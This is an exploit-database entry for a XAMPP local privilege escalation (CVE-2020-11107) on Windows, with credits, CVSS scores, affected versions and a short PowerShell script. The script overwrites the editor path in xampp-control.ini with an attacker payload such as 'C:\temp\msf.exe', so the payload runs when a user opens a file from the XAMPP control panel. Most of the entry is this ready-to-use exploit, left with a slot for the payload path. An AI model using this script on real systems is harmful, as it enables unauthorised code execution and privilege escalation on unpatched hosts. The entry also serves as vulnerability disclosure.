XAMPP 7.4.3 Local Privilege Escalation

2021.09.27
Credit: Salman Asad
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation # Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io) # Original Author: Maximilian Barz (@S1lkys) # Date: 27/09/2021 # Vendor Homepage: https://www.apachefriends.org # Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4 # Tested on: Windows 10 + XAMPP 7.3.10 # References: https://github.com/S1lkys/CVE-2020-11107 $file = "C:\xampp\xampp-control.ini" $find = ((Get-Content $file)[2] -Split "=")[1] # Insert your payload path here $replace = "C:\temp\msf.exe" (Get-Content $file) -replace $find, $replace | Set-Content $file


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